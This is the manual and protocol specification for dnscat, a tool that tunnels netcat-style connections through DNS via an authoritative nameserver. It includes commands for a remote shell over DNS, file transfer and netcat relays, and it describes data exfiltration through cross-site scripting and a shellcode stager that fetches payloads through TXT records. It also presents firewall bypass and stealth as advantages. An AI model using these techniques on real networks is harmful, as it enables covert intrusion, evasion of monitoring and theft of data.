dnscat is designed in the spirit of netcat, allowing two hosts over the Internet to talk to each other. The major difference between dnscat and netcat, however, is that dnscat routes all traffic through the local (or a chosen) DNS server. This has several major advantages:
- Bypasses pretty much all network firewalls
- Bypasses many local firewalls
- Doesn't pass through the typical gateway/proxy and therefore is stealthy
There are a lot of advantages to using the DNS protocol. There are, of course, several disadvantages as well:
- Data has to be encoded into alpha-numeric (DNS allows letters (not case sensitive) and numbers)
- DNS is slow -- it's not a direct connection
- The possibility of annoying DNS providers with the amount of traffic being sent through them
- dnscat requires the listener to be an authoritative DNS server
The last point is very important. To actually receive DNS traffic, you require either:
- An authoritative nameserver, preferably one that isn't being used for anything else. This is what I'll be assuming for the rest of the documentation (see the next section for far more information)
- The ability to connect to the dnscat server on udp/53 from the client (use the --dns flag to set the address) -- this is far less interesting, but will be faster if it works
One of the key netcat-like components of dnscat is the -e (or --exec) argument, which runs a program (such as /bin/sh or cmd.exe) and redirects its input and output through the connection. The --exec flag can be used on the client or server.
dnscat has been tested on, in alphabetical order:
- FreeBSD 7.2
- FreeBSD 8.0
- FreeBSD 8.0 amd4
- Mac OS X 10.4 (I think)
- Slackware 13
- Slackware 13-64
- Windows 2000
- Windows 2003
- Windows XP
It should work on any modern version of Linux, FreeBSD, or Windows.
For a better (and probably more correct) explanation of DNS, I recommend Wikipedia: http://en.wikipedia.org/wiki/Domain_Name_System
DNS is, by its very nature, recursive. Unless it's already looked it up, my local nameserver has no idea where www.google.ca is. How would it? Google's in charge of knowing where its own servers are. That being said, your server obviously has the ability to *find* Google. How's it do that?
To understand, we're going to have to take a quick look at how DNS works.
First, you send a request to your local nameserver, say 192.168.1.1, for www.google.ca. If it doesn't know the answer, it directs the question to its nameserver and so on, until the root servers are reached. Those servers know where to find the proper address for www.google.ca, and will direct the request to the nameserver set up for 'google.ca', which is ns1.google.ca (among others). ns1.google.ca receives the request, and responds with the proper address, which makes its way back to the original machine.
The most important thing to note are:
- The request was originally sent to 192.168.1.1, a local address that's frequently used
- The request ended up at ns1.google.ca, a server controlled by Google
- Google's responses made it back to the original requester, via 192.168.1.1
Google was allowed to do this because they are the authority for google.ca.
dnscat, at its core, is as simple as that; it runs on a server that is the authority for a DNS zone, and our traffic is routed to it via the local DNS server.
If you aren't sure whether or not you have the authoritative record, checking is easy. I've included a program called dnstest that checks if you are the authority for a domain by sending a random request and checking if it comes back. If you plan to run a dnscat listener on a system, it's a good idea to run dnstest. You can also run dnscat --test, which simply runs dnstest.
By default, you probably won't be the authoritative nameserver for anything. To become one, you need to register a domain, and point its records at yourself. You probably won't be able to use that domain for anything else.
- nbtool 0.04 (2010-02-20) (svn rev 677)
- Subversion: svn co http://svn.skullsecurity.org:81/ron/security/nbtool-0.04
- Source: http://www.skullsecurity.org/downloads/nbtool-0.04.tgz
- Windows (32-bit): http://www.skullsecurity.org/downloads/nbtool-0.04-win32.zip
- Linux (32-bit Slackware): http://www.skullsecurity.org/downloads/nbtool-0.04-bin.tgz
- Linux (64-bit Slackware): http://www.skullsecurity.org/downloads/nbtool-0.04-bin64.tgz
- Changelog: Everything changed -- total rewrite, new tools, etc. Building this tool should be pretty straightforward.
On Linux/BSD, simply extract the source and run 'make'/'make install':
$ tar -xvvzf dnscat-x.xx.tar.gz $ cd dnscat-x.xx $ make # make install
Better yet, check out the SVN version and compile/install that:
$ svn co http://svn.skullsecurity.org:81/ron/security/nbtool nbtool-svn $ cd nbtool-svn $ make # make install
If you have any compile errors/warnings, please let me know. I've done my best to comply with coding standards, so it should compile everywhere.
If you want to build from source on Windows, extract the source, navigate into the mswin32 directory, open the .sln file in Visual Studio (I used 2008), and build it.
To start a dnscat server, use the following command line:
To start a dnscat client, use this command line:
dnscat --domain <domain>
dnscat --domain skullseclabs.org
You can also specify the DNS server to use, if the correct one wasn't chosen by using the --dns argument or if you don't have an authoritative nameserver and you want to make a direct UDP/53 connection:
dnscat --domain skullseclabs.org --dns 184.108.40.206
Remember that the server has to be the authoritative nameserver for the domain given by the client, unless the --dns entry points directly to the dnscat server.
For more options, use --help:
Typically, to tunnel a shell over DNS, you're going to want to run a standard server as before:
And run the shell on the client side:
dnscat --domain skullseclabs.org --exec "/bin/sh"
dnscat.exe --domain skullseclabs.org --exec "cmd.exe"
On the server, you can now type commands and they'll run on the client side.
Transfer a file
You can transfer a file to the client from the server like this:
Server: dnscat --listen > file.out Client: dnscat --domain <domain> < file.in
You can change the direction that the file goes by switching around the redirects. To transfer from the server to the client, do this:
Server: dnscat --listen < file.in Client: dnscat --domain <domain> > file.out
A couple things to note:
- No integrity checking is performed
- There is currently no indication when a transfer is finished
Tunnel another connection
This is my favourite thing to do, and it works really slick. You can use netcat to open a port-to-port tunnel through dnscat. I like this enough that I'm going to add netcat-like arguments in the next version.
Let's say that the client can connect to an ssh server on 192.168.2.100. The server is on an entirely different network and normally has no access to 192.168.2.100. The whole situation is a little confusing because we want the dnscat client to connect to the ssh server (presumably, in real life, we'd be able to get a dnscat client on a target network, but not a dnscat server). "client" and "server" are such ancient terms anyways. I prefer to look at them as the sender and the receiver.
A diagram might help:
ssh client | | (port 1234 via netcat) | v dnscat server ^ | | (DNS server(s)) | dnscat client | | (port 22 via netcat) | v ssh server
It's like a good ol' fashioned double netcat relay. Ed Skoudis would be proud. :)
First, we start the netcat server. The server is going to run netcat, which listens on port 1234:
dnscat --listen --exec "nc -l -p 1234"
If you connect to that host on port 1234, all data will be forwarded across DNS to the dnscat client.
Second, on the client side, dnscat connects to 192.168.2.100 port 22:
dnscat --domain skullseclabs.org --exec "nc 192.168.2.100 22"
This connects to 192.168.2.100 on port 22. The input/output will both be sent across DNS back to the dnscat server, which will then send the traffic to whomever is connected on TCP/1234.
Third and finally, we ssh to our socket:
ssh -p 1234 email@example.com
Alternatively, if available you can also use the ssh -o ProxyCommand option which avoids the need for nc on the client:
ssh -o ProxyCommand="./dnscat --domain skullseclabs.org" root@localhost
One thing to note: at the moment, doing this is slooooow. But it works, and it's really, really cool!
Equivalent code can easily be put into a .js file and hosted on your server for easy use with cross-site scripting.
The best reason for using this as opposed to traditional avenues for data exfiltration is to get around logging and firewalls -- because dnscat will respond with a localhost record to all A and AAAA requests, the computer doesn't actually send an HTTP request to the network, yet you still get its data.
- Q: Is it legal to route traffic through DNS?
- A: I have no idea. Don't abuse servers you don't own, though.
- Q: Why did you write this?
- A: To prove it could be done.
- Q: Can I implement my own client?
- A: Yes, please do! I'd like to get samples in any language I can. And tell me about it so I can include it (with your permission).
- Q: Can I write my own server?
- A: Sure, but if there are any features missing that you want, let me know and maybe I'll add it to my version.
- Q: Did anybody actually ask these questions, ever?
- A: No. At least, not on purpose.
If you're simply interested in running dnscat and don't care how it works under the covers, you can probably skip this section entirely. If, however, you're planning on writing your own client (or server), this is the place to be.
I can't really think of any cases where you'd want to write your own server, since my server runs on pretty much any platform, so I'm going to focus somewhat more on the client side. Feel free to email me telling me why I'm wrong and why you're planning on writing your own server. Spite is a fine reason.
Before we start looking at the protocol itself, it's worth taking a peek at how the data is encoded, first. Then we'll get into the different types of messages (datagram vs. stream) and the various fields.
DNS only allows letters (not necessarily case sensitive), numbers, and certain limited symbols. Base64-encoding nearly works, but Base64 depends on using upper/lowercase, so it didn't work out. I ended up settling on NetBIOS-style encoding, which translates everything to uppercase letters. Later, I realized that some languages (like SQL) would have a far easier time with hex encoding, so I added it as an optional encoding type. Details on each type follow.
In any connection, the client chooses their own encoding and adds it as a flag. The server should respond with the same encoding the client used, but isn't required to.
Encodings should not be case sensitive and decoders should make no assumptions about case. I've seen at least one resolver that normalized the case before sending.
In short, to use NetBIOS encoding, take each byte of data, split it into its pair of nibbles, add each nibble to 'A' (0x41 or 65), and add it to the name as the two bytes (one byte per nibble).
For example, take the letter 'b':
- 'b' is 0x62 in hex.
- 0x6 and 0x2 are its two nibbles.
- 0x6 + 0x41 = 0x47 ('G')
- 0x2 + 0x41 = 0x43 ('C')
- Therefore, 'b' => "GC".
As another example, take the byte 0xC3:
- 0xC and 0x3 are its two nibbles.
- 0xC + 0x41 = 0x4D ('M')
- 0x3 + 0x41 = 0x44 ('D')
- Therefore, 0xC3 => "MD".
And the string "abcdef":
- 'a' => 0x61 => (0x6 + 0x41), (0x1 + 0x41) => 0x47, 0x42 => "GB"
- 'b' => 0x62 => (0x6 + 0x41), (0x2 + 0x41) => 0x47, 0x43 => "GC"
- 'c' => 0x63 => (0x6 + 0x41), (0x3 + 0x41) => 0x47, 0x44 => "GD"
- 'd' => 0x64 => (0x6 + 0x41), (0x4 + 0x41) => 0x47, 0x45 => "GE"
- 'e' => 0x65 => (0x6 + 0x41), (0x5 + 0x41) => 0x47, 0x46 => "GF"
- 'f' => 0x66 => (0x6 + 0x41), (0x6 + 0x41) => 0x47, 0x47 => "GG"
- => "GBGCGDGEGFGG"
As you can see, every character will be in the range of 'A' to 'O'. These characters are converted into a string that'll end up being exactly twice as long as the original.
To decode, you simply do the same thing in reverse. Be sure to convert the characters to uppercase first, though, to ensure that the case hadn't been changed somewhere along the line.
The advantages of NetBIOS encoding is that it's easy to implement and, to the naked eye, doesn't look like anything much, just a stream of characters (people are more liable to recognize hex than to recognize NetBIOS).
To use hex encoding, which requires the flag 0x10 to be set (more on that later), simply encode all bytes as their equivalent in hex. So 'A' would be encoded as "41", 'b' as "62", etc. Like NetBIOS, this exactly doubles the length of the string.
There are two types of dnscat packets with similar, but different, structures:
These are, of course, modeled after TCP and UDP. Like TCP and UDP, they have fields, flags, etc. The difference is that we're encoding the requests as domain names.
The various parts of the packet, including any control flags and data being sent, are encoded into a domain name, as described below, and sent to a DNS server (typically the local one). The server encodes its response the same way and returns it as its domain name. This request/response must be done as a query type that returns a name, not an IP address. Supported types are CNAME, NS, TXT, and MX records. The server is required to respond with the same type it receives.
Alternatively, if data is only being sent client to server, using an A or AAAA record is okay. In that case, the server isn't able to return data to the client; only an IP address is returned. The IP address can be set to anything; localhost (127.0.0.1 or ::1) are good defaults.
The main reason for using A or AAAA records is for when implementing this on a platform that normally doesn't make DNS requests, such as a Web browser.
The data is broken up into various fields, such as the signature and flags (see below for a list). Each of these fields is a separate sub-name in the DNS packet (field1.field2.field3.etc). Text fields are encoded as-is, numeric fields are encoded as 32-bit hex (1 - 8 hex characters), and the data fields are encoded in NetBIOS or hex, as described above.
Because of the nature of DNS, the server never actually knows who the client is, and therefore cannot initiate a data transfer. As a result, the client must poll the server for by sending zero-data packets. This must be done to properly receive data in both datagram and stream modes. Without polling, data is only sent from the server to the client when the client sends its own data.
In datagram mode, this polling is optional and is only required if the client wishes to receive data from the server in a timely fashion. In stream mode, polling is strongly recommended because the stream connection will time out if it isn't constantly being polled.
In send-only mode (using A/AAAA records), especially if the client isn't an actual dnscat implementation, polling is not necessary. The server can't send data or maintain a connection anyways.
These fields are common to both datagram and stream mode. Unless otherwise noted, each of these is one field (a part of the domain name between periods). More information on when the different fields are used is below:
- signature - A shared signature between the client and server. "dnscat" is the default signature. (text)
- flags - Zero or more of the following flags ORed together: (32-bit hex)
- 0x00000001 Stream - Use stream mode (default: datagram).
- 0x00000002 SYN - Client-to-server requesting connection.
- 0x00000004 ACK - Server-to-client accepting connection.
- 0x00000008 RST - Terminating the connection (client-to-server or server-to-client, for any reason).
- 0x00000010 Hex - Use hex encoding (default: NetBIOS).
- 0x00000020 Session - Use a session field (version 0.05 and newer)
- session - An arbitrary string that uniquely defines the current session. Must contain letters and numbers, not case sensitive. All remaining fields will be in the context of that connection. Client chooses a random session string; server treats previously unknown strings as new connections and keeps until timeout/RST. If client doesn't set the session flag, server should use a blank session name (""). Only supported on version 0.05 and higher, and only exists if the Session flag (0x00000020) is set.
- error - The error code, if the RST flag is set (32-bit hex).
- 0x00000000 Success - You shouldn't send or receive this.
- 0x00000001 Busy - Sent as a response to SYN if there is already a session active.
- 0x00000002 Invalid in state - A packet had invalid flags or was out of state (sort of a catch-all).
- 0x00000003 Fin - Connection gracefully closed.
- 0x00000004 Bad sequence number.
- 0x00000005 Not implemented - used by server or client to indicate that a requested option isn't implemented (version 0.05 and newer, ironically).
- 0xFFFFFFFF Testing - only sent when testing a client or server.
- seq - The sequence number in a stream packet (32-bit hex).
- count - The number of upcoming data sections (3 is a good max, 0 is fine for polling) (32-bit hex).
- data - Zero or more fields of encoded data (based on count). The maximum length of this field is 63 in standard DNS implementations.
- garbage - One or more random characters, used to prevent caching (text).
- domain - The domain that you're the authority for (most dnscat servers don't care, but the DNS servers along the way do) (text - 1 or more fields).
If you're implementing a client, I recommend starting with datagram. All you have to know is the following format: <signature>.<flags>.<count>.<data>.<garbage>.<domain>
Realistically, your packets will probably look like this:
dnscat.0.1.<1 data field>.<garbage>.<domain>
Or, with a session:
dnscat.20.<session>.1.<1 data field>.<garbage>.<domain>
I tried to model stream packets after TCP, and came up with a stripped- down protocol. Essentially, there are three control flags:
To start a connection, the client sends the server a SYN packet containing its own sequence number (should be random) and the server responds with an ACK packet. Note that these aren't standard TCP flags or sequence numbers, these are implemented entirely in dnscat domain names.
For a client to terminate a connection, it sends an RST packet to the server. The server responds with a DNS error message (simply indicating acknowledgement). Clients don't necessarily have to terminate the connection cleanly, since the server will time out the connection fairly quickly (5 seconds by default).
For a server to terminate a connection, it responds to any packet with an RST and an appropriate error message. Typically, to cleanly close a connection, the server should send the Fin error message. The client should not acknowledge it. Likewise, if a server chooses to reject a connection (because, for example, a session is already active), it can return an RST to the initial SYN with the appropriate error code.
Error messages can be RST packets for known error conditions, or actual DNS errors for unexpected error conditions. A server should respond to every request it receives in one way or another. DNS servers will repeat messages until they're acknowledged, which causes unnecessary traffic.
Before acknowledging a packet, updating state, or any other actions, the sequence number should be validated. The sequence number is the only way of ensuring that a potential interloper can't screw up an in-progress session.
A SYN or ACK packet looks like this:
An RST packet looks like this:
And a data packet looks like this:
And any message with a session looks like this:
<signature>.<flags | 0x20><session>.<seq>.<rest of the message>
To put it in the form of a drawing, here is how you parse a dnscat request/response (datagram or stream):
+------+ # | | # | (count>0) # v | # +---------+ +-------+ +------+ | # | session | +------------>| count |---(count>0)->| data |--| # +---------+ | +-------+ | +------+ | # ^ | | ^ | | # | | (datagram) | (count=0) (count=0) # START | v | | | | # | | +-->+ | +----------------------| # | | ^ | (not SYN/ACK/RST) | # v (session)| (stream) | v # +-----+ | | | +-----+ +---------+ # | sig | | | +------------>| seq |---(SYN/ACK)-------->| garbage | # +-----+ | (!session) +-----+ | +---------+ # | | | | ^ | # | +-------+ | +-------+ | | # +------| flags | +-(RST)-->| error |---+ | # +-------+ +-------+ | # +--------+ # END<--| domain | # +--------+ #
And, because I liked that drawing so much, here's the state machine for a dnscat client:
+--------------------------(recv RST, invalid)--+ | | v | +-----+ +---------+ +-------+ | NEW |--(send SYN)-->| SYNSENT |--(recv ACK)-->| READY | +-----+ +---------+ +-------+ ^ | | | +------(recv non-ACK)--+
And finally, the state machine for a dnscat server:
+-----+ +-------+ | NEW |--(recv SYN)--->| READY | +-----+ (send ACK) +-------+4 ^ | | | +---(recv RST, invalid)-+
The staging code is still somewhat in flux right now, since it is currently in development, but this will describe the likely implementation.
What is staging?
Staging refers to using a small piece of code to download and run a larger one. The current staging code compiles to approximately 250 bytes (depending on the domain name), and will download the full stage through DNS.
This has the advantage of having strong, stable shellcode that can be arbitrarily large (within reason), while only requiring a small amount of code to be run by the exploit.
How do I use it?
When using dnscat version 0.05 or later, the --stage argument specifies the file to stage. Once --stage is given, requests can download the stage as normal. An example usage might be:
dnscat --listen --stage shellcode-file.bin
The release of dnscat 0.05 will likely include a patch to Metasploit, which will automate the staging
How does it work?
The following are the design constraints for the staging code:
- The name has to be as simple as possible, since the client portion is implemented in shellcode
- The name has to contain the maximum number of different characters, and maximum packet size, so I chose TXT records
- Note: While TXT records should be able to contain any character, Microsoft's DNS library fails if they contain a null byte (\x00), so we don't allow the null byte to be present.
- The name has to identify which chunk of code we're downloading
- The response has two possibilities: "here is the next chunk" and "no chunk at that location"
For those reasons, the stager sends requests for TXT records with the following name: <number>.<domain>
Where number is the piece of the file to download, in decimal and potentially with leading zeroes, and domain is the domain that will service it. Each chunk is a predefined size (255 bytes). So the following URL:
Will return bytes 0 - 254 in the TXT field. This URL:
Will return bytes 255 - 510, and so on.
When there is no data left, the server will return a DNS error, NXDOMAIN, to indicate that there is no data left to return. At that point, the client should jump to the first byte that was returned to run the payload.
I have to give a shout-out to the following people, who made my life easier:
- Nmap and Ncat often overcame stupid platform issues, often on Windows, that I ran into. David Fifield was a great help in helping solve weird Windows issues.
- Benjamin Sittler wrote a great getopt replacement that I use!
- Paul Hsieh wrote a great platform-independent stdint.h replacement that I use.
- Tadeusz Pietraszek wrote a dnscat implementation in Java, many years ago. Although I didn't use any of his ideas/code, I'm happy I'm not the first.
- Wireshark is an amazing tool. Period.
- Anybody who helped me test/code.